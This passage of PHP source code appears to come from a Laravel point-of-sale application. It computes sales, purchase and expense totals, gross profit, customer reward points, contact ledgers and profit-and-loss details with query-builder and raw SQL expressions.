DB::raw("SUM(IF(transactions.type='purchase', IF(discount_type = 'percentage', COALESCE(discount_amount, 0)*total_before_tax/100, COALESCE(discount_amount, 0)), 0)) as total_purchase_discount") ); } if (in_array('sell', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='sell' AND transactions.status='final', IF(discount_type = 'percentage', COALESCE(discount_amount, 0)*total_before_tax/100, COALESCE(discount_amount, 0)), 0)) as total_sell_discount"), DB::raw("SUM(IF(transactions.type='sell' AND transactions.status='final', rp_redeemed_amount, 0)) as total_reward_amount"), DB::raw("SUM(IF(transactions.type='sell' AND transactions.status='final', round_off_amount, 0)) as total_sell_round_off") ); } $transaction_totals = $query->first(); $output = []; if (in_array('purchase_return', $transaction_types)) { $output['total_purchase_return_inc_tax'] = ! empty($transaction_totals->total_purchase_return_inc_tax) ? $transaction_totals->total_purchase_return_inc_tax : 0; $output['total_purchase_return_exc_tax'] = ! empty($transaction_totals->total_purchase_return_exc_tax) ? $transaction_totals->total_purchase_return_exc_tax : 0; } if (in_array('sell_return', $transaction_types)) { $output['total_sell_return_inc_tax'] = ! empty($transaction_totals->total_sell_return_inc_tax) ? $transaction_totals->total_sell_return_inc_tax : 0; $output['total_sell_return_exc_tax'] = ! empty($transaction_totals->total_sell_return_exc_tax) ? $transaction_totals->total_sell_return_exc_tax : 0; $output['total_sell_return_discount'] = ! empty($transaction_totals->total_sell_return_discount) ? $transaction_totals->total_sell_return_discount : 0; } if (in_array('sell_transfer', $transaction_types)) { $output['total_transfer_shipping_charges'] = ! empty($transaction_totals->total_transfer_shipping_charges) ? $transaction_totals->total_transfer_shipping_charges : 0; } if (in_array('expense', $transaction_types)) { $total_expense = ! empty($transaction_totals->total_expense) ? $transaction_totals->total_expense : 0; $total_expense_refund = ! empty($transaction_totals->total_expense_refund) ? $transaction_totals->total_expense_refund : 0; $output['total_expense'] = $total_expense - $total_expense_refund; } if (in_array('payroll', $transaction_types)) { $output['total_payroll'] = ! empty($transaction_totals->total_payroll) ? $transaction_totals->total_payroll : 0; } if (in_array('stock_adjustment', $transaction_types)) { $output['total_adjustment'] = ! empty($transaction_totals->total_adjustment) ? $transaction_totals->total_adjustment : 0; $output['total_recovered'] = ! empty($transaction_totals->total_recovered) ? $transaction_totals->total_recovered : 0; } if (in_array('purchase', $transaction_types)) { $output['total_purchase_discount'] = ! empty($transaction_totals->total_purchase_discount) ? $transaction_totals->total_purchase_discount : 0; } if (in_array('sell', $transaction_types)) { $output['total_sell_discount'] = ! empty($transaction_totals->total_sell_discount) ? $transaction_totals->total_sell_discount : 0; $output['total_reward_amount'] = ! empty($transaction_totals->total_reward_amount) ? $transaction_totals->total_reward_amount : 0; $output['total_sell_round_off'] = ! empty($transaction_totals->total_sell_round_off) ? $transaction_totals->total_sell_round_off : 0; } return $output; } public function getGrossProfit($business_id, $start_date = null, $end_date = null, $location_id = null, $user_id = null, $permitted_locations) { $query = TransactionSellLine::join('transactions as sale', 'transaction_sell_lines.transaction_id', '=', 'sale.id') ->leftjoin('transaction_sell_lines_purchase_lines as TSPL', 'transaction_sell_lines.id', '=', 'TSPL.sell_line_id') ->leftjoin( 'purchase_lines as PL', 'TSPL.purchase_line_id', '=', 'PL.id' ) ->where('sale.type', 'sell') ->where('sale.status', 'final') ->join('products as P', 'transaction_sell_lines.product_id', '=', 'P.id') ->where('sale.business_id', $business_id) ->where('transaction_sell_lines.children_type', '!=', 'combo'); //If type combo: find childrens, sale price parent - get PP of childrens $query->select(DB::raw('SUM(IF (TSPL.id IS NULL AND P.type="combo", ( SELECT Sum((tspl2.quantity - tspl2.qty_returned) * (tsl.unit_price_inc_tax - pl2.purchase_price_inc_tax)) AS total FROM transaction_sell_lines AS tsl JOIN transaction_sell_lines_purchase_lines AS tspl2 ON tsl.id=tspl2.sell_line_id JOIN purchase_lines AS pl2 ON tspl2.purchase_line_id = pl2.id WHERE tsl.parent_sell_line_id = transaction_sell_lines.id), IF(P.enable_stock=0,(transaction_sell_lines.quantity - transaction_sell_lines.quantity_returned) * transaction_sell_lines.unit_price_inc_tax, (TSPL.quantity - TSPL.qty_returned) * (transaction_sell_lines.unit_price_inc_tax - PL.purchase_price_inc_tax)) )) AS gross_profit') ); if (! empty($start_date) && ! empty($end_date) && $start_date != $end_date) { $query->whereDate('sale.transaction_date', '>=', $start_date) ->whereDate('sale.transaction_date', '<=', $end_date); } if (! empty($start_date) && ! empty($end_date) && $start_date == $end_date) { $query->whereDate('sale.transaction_date', $end_date); } if(!empty($permitted_locations)) { if ($permitted_locations != 'all') { $query->whereIn('sale.location_id', $permitted_locations); } } //Filter by the location if (! empty($location_id)) { $query->where('sale.location_id', $location_id); } if (! empty($user_id)) { $query->where('sale.created_by', $user_id); } $gross_profit_obj = $query->first(); $gross_profit = ! empty($gross_profit_obj->gross_profit) ? $gross_profit_obj->gross_profit : 0; //KNOWS ISSUE: If products are returned then also the discount gets applied for it. return $gross_profit; } /** * Calculates reward points to be earned from an order * * @return int */ public function calculateRewardPoints($business_id, $total) { if (session()->has('business')) { $business = session()->get('business'); } else { $business = Business::find($business_id); } $total_points = 0; if ($business->enable_rp == 1) { //check if order total elegible for reward if ($business->min_order_total_for_rp > $total) { return $total_points; } $amount_per_unit_point = $business->amount_for_unit_rp; $total_points = floor($total / $amount_per_unit_point); if (! empty($business->max_rp_per_order) && $business->max_rp_per_order < $total_points) { $total_points = $business->max_rp_per_order; } } return $total_points; } /** * Updates reward point of a customer * * @return void */ public function updateCustomerRewardPoints( $customer_id, $earned, $earned_before = 0, $redeemed = 0, $redeemed_before = 0 ) { $customer = Contact::find($customer_id); //Return if walk in customer if ($customer->is_default == 1) { return false; } $total_earned = $earned - $earned_before; $total_redeemed = $redeemed - $redeemed_before; $diff = $total_earned - $total_redeemed; $customer_points = empty($customer->total_rp) ? 0 : $customer->total_rp; $total_points = $customer_points + $diff; $customer->total_rp = $total_points; $customer->total_rp_used += $total_redeemed; $customer->save(); } /** * Calculates reward points to be redeemed from an order * * @return array */ public function getRewardRedeemDetails($business_id, $customer_id) { if (session()->has('business')) { $business = session()->get('business'); } else { $business = Business::find($business_id); } $details = ['points' => 0, 'amount' => 0]; $customer = Contact::where('business_id', $business_id) ->find($customer_id); $customer_reward_points = $customer->total_rp; //If zero reward point or walk in customer return blank values if (empty($customer_reward_points) || $customer->is_default == 1) { return $details; } $min_reward_point_required = $business->min_redeem_point; if (! empty($min_reward_point_required) && $customer_reward_points < $min_reward_point_required) { return $details; } $max_redeem_point = $business->max_redeem_point; if (! empty($max_redeem_point) && $max_redeem_point <= $customer_reward_points) { $customer_reward_points = $max_redeem_point; } $amount_per_unit_point = $business->redeem_amount_per_unit_rp; $equivalent_amount = $customer_reward_points * $amount_per_unit_point; $details = ['points' => $customer_reward_points, 'amount' => $equivalent_amount]; return $details; } /** * Checks whether a reward point date is expired * * @return bool */ public function isRewardExpired($date, $business_id) { if (session()->has('business')) { $business = session()->get('business'); } else { $business = Business::find($business_id); } $is_expired = false; if (! empty($business->rp_expiry_period)) { $expiry_date = \Carbon::parse($date); if ($business->rp_expiry_type == 'month') { $expiry_date = $expiry_date->addMonths($business->rp_expiry_period); } elseif ($business->rp_expiry_type == 'year') { $expiry_date = $expiry_date->addYears($business->rp_expiry_period); } if ($expiry_date->format('Y-m-d') >= \Carbon::now()->format('Y-m-d')) { $is_expired = true; } } return $is_expired; } /** * Function to delete sale * * @param int $business_id * @param int $transaction_id * @return array */ public function deleteSale($business_id, $transaction_id) { //Check if return exist then not allowed if ($this->isReturnExist($transaction_id)) { $output = [ 'success' => false, 'msg' => __('lang_v1.return_exist'), ]; return $output; } $transaction = Transaction::where('id', $transaction_id) ->where('business_id', $business_id) ->whereIn('type', ['sell', 'sales_order']) ->with(['sell_lines', 'payment_lines']) ->first(); if (! empty($transaction)) { $log_properities = [ 'id' => $transaction->id, 'invoice_no' => $transaction->invoice_no, ]; $log_type = $transaction->type == 'sales_order' ? 'so_deleted' : 'sell_deleted'; $this->activityLog($transaction, $log_type, null, $log_properities); //If status is draft direct delete transaction if ($transaction->status == 'draft') { foreach ($transaction->sell_lines as $sell_line) { $this->updateSalesOrderLine($sell_line->so_line_id, 0, $sell_line->quantity); } $sales_order_ids = $transaction->sales_order_ids ?? []; if (! empty($sales_order_ids)) { $this->updateSalesOrderStatus($sales_order_ids); } $transaction->delete(); } else { $business = Business::findOrFail($business_id); $transaction_payments = $transaction->payment_lines; $deleted_sell_lines = $transaction->sell_lines; $deleted_sell_lines_ids = $deleted_sell_lines->pluck('id')->toArray(); $this->deleteSellLines( $deleted_sell_lines_ids, $transaction->location_id ); $this->updateCustomerRewardPoints($transaction->contact_id, 0, $transaction->rp_earned, 0, $transaction->rp_redeemed); $transaction->status = 'draft'; $business_data = ['id' => $business_id, 'accounting_method' => $business->accounting_method, 'location_id' => $transaction->location_id, ]; $this->adjustMappingPurchaseSell('final', $transaction, $business_data, $deleted_sell_lines_ids); $sales_order_ids = $transaction->sales_order_ids ?? []; if (! empty($sales_order_ids)) { $this->updateSalesOrderStatus($sales_order_ids); } //Delete Cash register transactions $transaction->cash_register_payments()->delete(); $transaction->delete(); foreach ($transaction_payments as $payment) { event(new TransactionPaymentDeleted($payment)); } } } $output = [ 'success' => true, 'msg' => __('lang_v1.sale_delete_success'), ]; return $output; } /** * common function to get * list purchase * * @param int $business_id * @return object */ public function getListPurchases($business_id) { $purchases = Transaction::leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') ->join( 'business_locations AS BS', 'transactions.location_id', '=', 'BS.id' ) ->leftJoin( 'transaction_payments AS TP', 'transactions.id', '=', 'TP.transaction_id' ) ->leftJoin( 'transactions AS PR', 'transactions.id', '=', 'PR.return_parent_id' ) ->leftJoin('users as u', 'transactions.created_by', '=', 'u.id') ->where('transactions.business_id', $business_id) ->where('transactions.type', 'purchase') ->select( 'transactions.id', 'transactions.document', 'transactions.transaction_date', 'transactions.ref_no', 'contacts.name', 'contacts.supplier_business_name', 'transactions.status', 'transactions.payment_status', 'transactions.final_total', 'BS.name as location_name', 'transactions.pay_term_number', 'transactions.pay_term_type', 'PR.id as return_transaction_id', DB::raw('SUM(TP.amount) as amount_paid'), DB::raw('(SELECT SUM(TP2.amount) FROM transaction_payments AS TP2 WHERE TP2.transaction_id=PR.id ) as return_paid'), DB::raw('COUNT(PR.id) as return_exists'), DB::raw('COALESCE(PR.final_total, 0) as amount_return'), DB::raw("CONCAT(COALESCE(u.surname, ''),' ',COALESCE(u.first_name, ''),' ',COALESCE(u.last_name,'')) as added_by") ) ->groupBy('transactions.id'); return $purchases; } /** * common function to get * list expenses * * @param int $business_id * @return object */ public function getListExpenses($business_id) { $expenses = Transaction::leftJoin('expense_categories AS ec', 'transactions.expense_category_id', '=', 'ec.id') ->leftJoin('expense_categories AS esc', 'transactions.expense_sub_category_id', '=', 'esc.id') ->join( 'business_locations AS bl', 'transactions.location_id', '=', 'bl.id' ) ->leftJoin('tax_rates as tr', 'transactions.tax_id', '=', 'tr.id') ->leftJoin('users AS U', 'transactions.expense_for', '=', 'U.id') ->leftJoin('users AS usr', 'transactions.created_by', '=', 'usr.id') ->leftJoin('contacts AS c', 'transactions.contact_id', '=', 'c.id') ->leftJoin( 'transaction_payments AS TP', 'transactions.id', '=', 'TP.transaction_id' ) ->where('transactions.business_id', $business_id) ->whereIn('transactions.type', ['expense', 'expense_refund']) ->select( 'transactions.id', 'transactions.document', 'transaction_date', 'ref_no', 'ec.name as category', 'esc.name as sub_category', 'payment_status', 'additional_notes', 'final_total', 'transactions.is_recurring', 'transactions.recur_interval', 'transactions.recur_interval_type', 'transactions.recur_repetitions', 'transactions.subscription_repeat_on', 'bl.name as location_name', DB::raw("CONCAT(COALESCE(U.surname, ''),' ',COALESCE(U.first_name, ''),' ',COALESCE(U.last_name,'')) as expense_for"), DB::raw("CONCAT(tr.name ,' (', tr.amount ,' )') as tax"), DB::raw('SUM(TP.amount) as amount_paid'), DB::raw("CONCAT(COALESCE(usr.surname, ''),' ',COALESCE(usr.first_name, ''),' ',COALESCE(usr.last_name,'')) as added_by"), 'transactions.recur_parent_id', 'c.name as contact_name', 'transactions.type' ) ->with(['recurring_parent']) ->groupBy('transactions.id'); return $expenses; } /** * common function to get * list sell * * @param int $business_id * @return object */ public function getListSells($business_id, $sale_type = 'sell') { $sells = Transaction::leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') // ->leftJoin('transaction_payments as tp', 'transactions.id', '=', 'tp.transaction_id') ->leftJoin('transaction_sell_lines as tsl', function ($join) { $join->on('transactions.id', '=', 'tsl.transaction_id') ->whereNull('tsl.parent_sell_line_id'); }) ->leftJoin('users as u', 'transactions.created_by', '=', 'u.id') ->leftJoin('users as ss', 'transactions.res_waiter_id', '=', 'ss.id') ->leftJoin('users as dp', 'transactions.delivery_person', '=', 'dp.id') ->leftJoin('res_tables as tables', 'transactions.res_table_id', '=', 'tables.id') ->join( 'business_locations AS bl', 'transactions.location_id', '=', 'bl.id' ) ->leftJoin( 'transactions AS SR', 'transactions.id', '=', 'SR.return_parent_id' ) ->leftJoin( 'types_of_services AS tos', 'transactions.types_of_service_id', '=', 'tos.id' ) ->where('transactions.business_id', $business_id) ->where('transactions.type', $sale_type) ->select( 'transactions.id', 'transactions.transaction_date', 'transactions.type', 'transactions.is_direct_sale', 'transactions.invoice_no', 'transactions.invoice_no as invoice_no_text', 'contacts.name', 'contacts.mobile', 'contacts.contact_id', 'contacts.supplier_business_name', 'transactions.status', 'transactions.payment_status', 'transactions.final_total', 'transactions.tax_amount', 'transactions.discount_amount', 'transactions.discount_type', 'transactions.total_before_tax', 'transactions.rp_redeemed', 'transactions.rp_redeemed_amount', 'transactions.rp_earned', 'transactions.types_of_service_id', 'transactions.shipping_status', 'transactions.pay_term_number', 'transactions.pay_term_type', 'transactions.additional_notes', 'transactions.staff_note', 'transactions.shipping_details', 'transactions.document', 'transactions.shipping_custom_field_1', 'transactions.shipping_custom_field_2', 'transactions.shipping_custom_field_3', 'transactions.shipping_custom_field_4', 'transactions.shipping_custom_field_5', 'transactions.custom_field_1', 'transactions.custom_field_2', 'transactions.custom_field_3', 'transactions.custom_field_4', DB::raw('DATE_FORMAT(transactions.transaction_date, "%Y/%m/%d") as sale_date'), DB::raw("CONCAT(COALESCE(u.surname, ''),' ',COALESCE(u.first_name, ''),' ',COALESCE(u.last_name,'')) as added_by"), DB::raw('(SELECT SUM(IF(TP.is_return = 1,-1*TP.amount,TP.amount)) FROM transaction_payments AS TP WHERE TP.transaction_id=transactions.id) as total_paid'), 'bl.name as business_location', DB::raw('COUNT(SR.id) as return_exists'), DB::raw('(SELECT SUM(TP2.amount) FROM transaction_payments AS TP2 WHERE TP2.transaction_id=SR.id ) as return_paid'), DB::raw('COALESCE(SR.final_total, 0) as amount_return'), 'SR.id as return_transaction_id', 'tos.name as types_of_service_name', 'transactions.service_custom_field_1', DB::raw('COUNT( DISTINCT tsl.id) as total_items'), DB::raw("CONCAT(COALESCE(ss.surname, ''),' ',COALESCE(ss.first_name, ''),' ',COALESCE(ss.last_name,'')) as waiter"), 'tables.name as table_name', DB::raw('SUM(tsl.quantity - tsl.so_quantity_invoiced) as so_qty_remaining'), 'transactions.is_export', DB::raw("CONCAT(COALESCE(dp.surname, ''),' ',COALESCE(dp.first_name, ''),' ',COALESCE(dp.last_name,'')) as delivery_person") ); if ($sale_type == 'sell') { $sells->where('transactions.status', 'final'); } return $sells; } /** * Function to get ledger details */ public function getLedgerDetails($contact_id, $start, $end, $format = 'format_1', $location_id = null, $line_details = false) { $business_id = request()->session()->get('user.business_id'); //Get sum of totals before start date $previous_transaction_sums = $this->__transactionQuery($contact_id, $start, null, $location_id) ->select( DB::raw("SUM(IF(type = 'purchase', final_total, 0)) as total_purchase"), DB::raw("SUM(IF(type = 'sell' AND status = 'final', final_total, 0)) as total_invoice"), DB::raw("SUM(IF(type = 'sell_return', final_total, 0)) as total_sell_return"), DB::raw("SUM(IF(type = 'purchase_return', final_total, 0)) as total_purchase_return"), DB::raw("SUM(IF(type = 'opening_balance', final_total, 0)) as total_opening_balance"), DB::raw("SUM(IF(type = 'ledger_discount', final_total, 0)) as total_ledger_discount") )->first(); //Get payment totals before start date $prev_payments = $this->__paymentQuery($contact_id, $start, null, $location_id) ->select('transaction_payments.*', 'bl.name as location_name', 't.type as transaction_type', 'is_advance') ->get(); $prev_total_invoice_paid = $prev_payments->where('transaction_type', 'sell')->where('is_return', 0)->sum('amount'); $prev_total_ob_paid = $prev_payments->where('transaction_type', 'opening_balance')->where('is_return', 0)->sum('amount'); $prev_total_sell_change_return = $prev_payments->where('transaction_type', 'sell')->where('is_return', 1)->sum('amount'); $prev_total_sell_change_return = ! empty($prev_total_sell_change_return) ? $prev_total_sell_change_return : 0; $prev_total_invoice_paid -= $prev_total_sell_change_return; $prev_total_purchase_paid = $prev_payments->where('transaction_type', 'purchase')->where('is_return', 0)->sum('amount'); $prev_total_sell_return_paid = $prev_payments->where('transaction_type', 'sell_return')->sum('amount'); $prev_total_purchase_return_paid = $prev_payments->where('transaction_type', 'purchase_return')->sum('amount'); //$prev_total_advance_payment = $prev_payments->where('is_advance', 1)->sum('amount'); $prev_total_advance_payment = $this->__paymentQuery($contact_id, $start, null, $location_id) ->select('bl.name as location_name', 't.type as transaction_type', 'is_advance', 'transaction_payments.id', DB::raw('(transaction_payments.amount - COALESCE((SELECT SUM(amount) from transaction_payments as TP where TP.parent_id = transaction_payments.id), 0)) as amount') ) ->where('is_advance', 1) ->get() ->sum('amount'); $total_prev_paid = $prev_total_invoice_paid + $prev_total_purchase_paid - $prev_total_sell_return_paid - $prev_total_purchase_return_paid + $prev_total_ob_paid + $prev_total_advance_payment; $total_prev_invoice = $previous_transaction_sums->total_purchase + $previous_transaction_sums->total_invoice - $previous_transaction_sums->total_sell_return - $previous_transaction_sums->total_purchase_return + $previous_transaction_sums->total_opening_balance - $previous_transaction_sums->total_ledger_discount; //$total_prev_paid = $prev_payments_sum->total_paid; $beginning_balance = $total_prev_invoice - $total_prev_paid; $contact = Contact::find($contact_id); $with = ['location']; if ($line_details) { $with = ['location', 'sell_lines', 'sell_lines.sub_unit', 'sell_lines.product', 'sell_lines.variations', 'sell_lines.product.unit', 'sell_lines.variations.product_variation', 'sell_lines.line_tax', 'purchase_lines', 'purchase_lines.product', 'purchase_lines.variations', 'purchase_lines.variations.product_variation', 'purchase_lines.line_tax', 'purchase_lines.product.unit', 'purchase_lines.product.unit.sub_units', ]; } //Get transaction totals between dates $transaction_query = $this->__transactionQuery($contact_id, $start, $end, $location_id) ->with(['location']) ->select('transactions.*'); if ($format == 'format_2') { $transaction_query->leftjoin('transaction_payments as tp', 'tp.transaction_id', '=', 'transactions.id') ->addSelect(DB::raw('COALESCE(SUM(tp.amount), 0) as total_paid')) ->groupBy('transactions.id'); } $transactions = $transaction_query->get(); $transaction_types = Transaction::transactionTypes(); $ledger = []; $opening_balance = 0; $opening_balance_paid = 0; $ledger_discount = 0; foreach ($transactions as $transaction) { if ($transaction->type == 'opening_balance') { //Skip opening balance, it will be added in the end $opening_balance += $transaction->final_total; continue; } if ($transaction->type == 'ledger_discount') { $ledger_discount += $transaction->final_total; } $temp_array = [ 'date' => $transaction->transaction_date, 'ref_no' => in_array($transaction->type, ['sell', 'sell_return']) ? $transaction->invoice_no : $transaction->ref_no, 'type' => $transaction_types[$transaction->type], 'location' => $transaction->location->name ?? '', 'payment_status' => ! in_array($transaction->type, ['ledger_discount']) ? __('lang_v1.'.$transaction->payment_status) : '', 'total' => '', 'payment_method' => '', 'debit' => in_array($transaction->type, ['sell', 'purchase_return']) || ($transaction->sub_type == 'purchase_discount') ? $transaction->final_total : '', 'credit' => in_array($transaction->type, ['purchase', 'sell_return']) || ($transaction->sub_type == 'sell_discount') ? $transaction->final_total : '', 'others' => $transaction->additional_notes, 'transaction_id' => $transaction->id, 'transaction_type' => $transaction->type, ]; if ($format == 'format_2') { $temp_array['final_total'] = $transaction->final_total; $temp_array['total_due'] = $transaction->final_total - $transaction->total_paid; $temp_array['due_date'] = $transaction->due_date; $temp_array['payment_status'] = $transaction->payment_status; } if ($format == 'format_3') { foreach ($transaction->sell_lines as $key => $value) { if (! empty($value->sub_unit_id)) { $formated_sell_line = $this->recalculateSellLineTotals($business_id, $value); $transaction->sell_lines[$key] = $formated_sell_line; } } $productUtil = new \App\Utils\ProductUtil(); foreach ($transaction->purchase_lines as $key => $value) { if (! empty($value->sub_unit_id)) { $formated_purchase_line = $productUtil->changePurchaseLineUnit($value, $business_id); $transaction->purchase_lines[$key] = $formated_purchase_line; } } $temp_array['sell_lines'] = $transaction->sell_lines; $temp_array['purchase_lines'] = $transaction->purchase_lines; } $ledger[] = $temp_array; } $invoice_sum = $transactions->where('type', 'sell')->sum('final_total'); $purchase_sum = $transactions->where('type', 'purchase')->sum('final_total'); $sell_return_sum = $transactions->where('type', 'sell_return')->sum('final_total'); $purchase_return_sum = $transactions->where('type', 'purchase_return')->sum('final_total'); //Get payment totals between dates if ($format == 'format_1' || $format == 'format_3') { $payments = $this->__paymentQuery($contact_id, $start, $end, $location_id) ->select('transaction_payments.*', 'bl.name as location_name', 't.type as transaction_type', 't.ref_no', 't.invoice_no') ->get(); } else { $payments = []; } $paymentTypes = $this->payment_types(null, true, $business_id); $total_reverse_payment = 0; foreach ($payments as $payment) { if ($payment->transaction_type == 'opening_balance') { $opening_balance_paid += $payment->amount; } if ($contact->type == 'customer' && $payment->is_advance == 0 && empty($payment->transaction_id) && $payment->payment_type == 'debit') { $total_reverse_payment += $payment->amount; } if ($contact->type == 'supplier' && $payment->is_advance == 0 && empty($payment->transaction_id) && $payment->payment_type == 'credit') { $total_reverse_payment += $payment->amount; } //Hide all the adjusted payments because it has already been summed as advance payment if (! empty($payment->parent_id)) { continue; } $ref_no = in_array($payment->transaction_type, ['sell', 'sell_return']) ? $payment->invoice_no : $payment->ref_no; $note = $payment->note; if (! empty($ref_no)) { $note .= '<small>'.__('account.payment_for').': '.$ref_no.'</small>'; } if ($payment->is_advance == 1) { $note .= '<small>'.__('lang_v1.advance_payment').'</small>'; } if ($payment->is_return == 1) { $note .= '<small>('.__('lang_v1.change_return').')</small>'; } $ledger[] = [ 'date' => $payment->paid_on, 'ref_no' => $payment->payment_ref_no, 'type' => $transaction_types['payment'], 'location' => $payment->location_name, 'payment_status' => '', 'total' => '', 'payment_method' => ! empty($paymentTypes[$payment->method]) ? $paymentTypes[$payment->method] : '', 'payment_method_key' => $payment->method, 'debit' => in_array($payment->transaction_type, ['purchase', 'sell_return']) || ($payment->is_advance == 1 && $contact->type == 'supplier') || (in_array($payment->transaction_type, ['sell', 'purchase_return', 'opening_balance']) && $payment->is_return == 1) || $payment->payment_type == 'debit' ? $payment->amount : '', 'credit' => (in_array($payment->transaction_type, ['sell', 'purchase_return', 'opening_balance']) || ($payment->is_advance == 1 && in_array($contact->type, ['customer', 'both']))) && $payment->is_return == 0 || $payment->payment_type == 'credit' ? $payment->amount : '', 'others' => $note, ]; } $total_excess_advance_payment = $this->__paymentQuery($contact_id, $start, $end, $location_id) ->select( DB::raw('(transaction_payments.amount - COALESCE((SELECT SUM(amount) from transaction_payments as TP where TP.parent_id = transaction_payments.id), 0)) as amount') ) ->where('is_advance', 1) ->get() ->sum('amount'); $total_advance_payment = $this->__paymentQuery($contact_id, $start, $end, $location_id) ->select( DB::raw('SUM(transaction_payments.amount) as amount') ) ->where('method', 'advance') ->get() ->sum('amount'); $total_invoice_paid = ! empty($payments) ? $payments->where('transaction_type', 'sell')->where('is_return', 0)->sum('amount') : 0; $total_sell_change_return = ! empty($payments) ? $payments->where('transaction_type', 'sell')->where('is_return', 1)->sum('amount') : 0; $total_sell_change_return = ! empty($total_sell_change_return) ? $total_sell_change_return : 0; $total_invoice_paid -= $total_sell_change_return; $total_purchase_paid = ! empty($payments) ? $payments->where('transaction_type', 'purchase')->where('is_return', 0)->sum('amount') : 0; $total_sell_return_paid = ! empty($payments) ? $payments->where('transaction_type', 'sell_return')->sum('amount') : 0; $total_purchase_return_paid = ! empty($payments) ? $payments->where('transaction_type', 'purchase_return')->sum('amount') : 0; $total_invoice_paid += $opening_balance_paid; $start_date = $this->format_date($start); $end_date = $this->format_date($end); $total_invoice = $invoice_sum - $sell_return_sum; $total_purchase = $purchase_sum - $purchase_return_sum; $opening_balance_due = $opening_balance; $total_paid = $total_invoice_paid + $total_purchase_paid - $total_sell_return_paid - $total_purchase_return_paid + $total_excess_advance_payment - $total_advance_payment; $total_transactions_paid = $total_invoice_paid + $total_purchase_paid - $total_sell_return_paid - $total_purchase_return_paid; $curr_due = $total_invoice + $total_purchase - $total_transactions_paid + $beginning_balance + $opening_balance_due; //Sort by date if (! empty($ledger)) { usort($ledger, function ($a, $b) { $t1 = strtotime($a['date']); $t2 = strtotime($b['date']); return $t1 - $t2; }); } $total_opening_bal = $beginning_balance + $opening_balance_due; if ($format != 'format_2') { //Add Beginning balance & openining balance to ledger $ledger = array_merge([[ 'date' => $start, 'ref_no' => '', 'type' => __('lang_v1.opening_balance'), 'location' => '', 'payment_status' => '', 'total' => '', 'payment_method' => '', 'debit' => $contact->type == 'customer' ? abs($total_opening_bal) : '', 'credit' => $contact->type == 'supplier' ? abs($total_opening_bal) : '', 'others' => '', 'final_total' => abs($total_opening_bal), 'total_due' => 0, 'due_date' => null, ]], $ledger); } $bal = 0; foreach ($ledger as $key => $val) { $credit = ! empty($val['credit']) ? $val['credit'] : 0; $debit = ! empty($val['debit']) ? $val['debit'] : 0; //Skip advance method payment because it is already added in customer advance payment if (! empty($val['payment_method_key']) && $val['payment_method_key'] == 'advance') { $credit = 0; $debit = 0; } $bal += ($credit - $debit); $balance = $this->num_f(abs($bal)); if ($bal < 0) { $balance .= ' '.__('lang_v1.dr'); } elseif ($bal > 0) { $balance .= ' '.__('lang_v1.cr'); } $ledger[$key]['balance'] = $balance; } $output = [ 'ledger' => $ledger, 'start_date' => $start_date, 'end_date' => $end_date, 'total_invoice' => $total_invoice, 'total_purchase' => $total_purchase, 'beginning_balance' => $beginning_balance + $opening_balance_due, 'balance_due' => $curr_due, 'total_paid' => $total_paid, 'total_reverse_payment' => $total_reverse_payment, 'ledger_discount' => $ledger_discount, ]; return $output; } /** * Query to get transaction totals for a customer */ private function __transactionQuery($contact_id, $start, $end = null, $location_id = null) { $business_id = request()->session()->get('user.business_id'); $transaction_type_keys = array_keys(Transaction::transactionTypes()); $query = Transaction::where('transactions.contact_id', $contact_id) ->where('transactions.business_id', $business_id) ->where('transactions.status', '!=', 'draft') ->whereIn('transactions.type', $transaction_type_keys); if (! empty($start) && ! empty($end)) { $query->whereDate( 'transactions.transaction_date', '>=', $start ) ->whereDate('transactions.transaction_date', '<=', $end)->get(); } if (! empty($location_id)) { $query->where('transactions.location_id', $location_id); } if (! empty($start) && empty($end)) { $query->whereDate('transactions.transaction_date', '<', $start); } return $query; } /** * Query to get payment details for a customer */ private function __paymentQuery($contact_id, $start, $end = null, $location_id = null) { $business_id = request()->session()->get('user.business_id'); $query = TransactionPayment::leftJoin( 'transactions as t', 'transaction_payments.transaction_id', '=', 't.id' ) ->leftJoin('business_locations as bl', 't.location_id', '=', 'bl.id') ->where('transaction_payments.payment_for', $contact_id); //->whereNotNull('transaction_payments.transaction_id'); //->whereNull('transaction_payments.parent_id'); if (! empty($start) && ! empty($end)) { $query->whereDate('paid_on', '>=', $start) ->whereDate('paid_on', '<=', $end); } if (! empty($start) && empty($end)) { $query->whereDate('paid_on', '<', $start); } if (! empty($location_id)) { //if location id present get all transaction with the location id and opening balance $query->where(function ($q) use ($location_id) { $q->where('transaction_payments.is_advance', 1) ->orWhere('t.location_id', $location_id); }); } return $query; } // public function getProfitLossDetails($business_id, $location_id, $start_date, $end_date, $user_id = null, $permitted_locations = null) { //For Opening stock date should be 1 day before $day_before_start_date = \Carbon::createFromFormat('Y-m-d', $start_date)->subDay()->format('Y-m-d'); $filters = ['user_id' => $user_id]; //Get Opening stock $opening_stock = $this->getOpeningClosingStock($business_id, $day_before_start_date, $location_id, true, false, $filters, $permitted_locations); //Get Closing stock $closing_stock = $this->getOpeningClosingStock( $business_id, $end_date, $location_id, false, false, $filters, $permitted_locations ); //Get Purchase details $purchase_details = $this->getPurchaseTotals( $business_id, $start_date, $end_date, $location_id, $user_id, $permitted_locations ); //Get Sell details $sell_details = $this->getSellTotals( $business_id, $start_date, $end_date, $location_id, $user_id, $permitted_locations ); $transaction_types = [ 'purchase_return', 'sell_return', 'expense', 'stock_adjustment', 'sell_transfer', 'purchase', 'sell', ]; $transaction_totals = $this->getTransactionTotals( $business_id, $transaction_types, $start_date, $end_date, $location_id, $user_id, $permitted_locations ); $gross_profit = $this->getGrossProfit( $business_id, $start_date, $end_date, $location_id, $user_id, $permitted_locations ); $data['total_purchase_shipping_charge'] = ! empty($purchase_details['total_shipping_charges']) ? $purchase_details['total_shipping_charges'] : 0; $data['total_sell_shipping_charge'] = ! empty($sell_details['total_shipping_charges']) ? $sell_details['total_shipping_charges'] : 0; $data['total_purchase_additional_expense'] = ! empty($purchase_details['total_additional_expense']) ? $purchase_details['total_additional_expense'] : 0; $data['total_sell_additional_expense'] = ! empty($sell_details['total_additional_expense']) ? $sell_details['total_additional_expense'] : 0; //Shipping $data['total_transfer_shipping_charges'] = ! empty($transaction_totals['total_transfer_shipping_charges']) ? $transaction_totals['total_transfer_shipping_charges'] : 0; //Discounts $total_purchase_discount = $transaction_totals['total_purchase_discount']; $total_sell_discount = $transaction_totals['total_sell_discount']; $total_reward_amount = $transaction_totals['total_reward_amount']; $total_sell_round_off = $transaction_totals['total_sell_round_off']; $total_sell_return_discount = 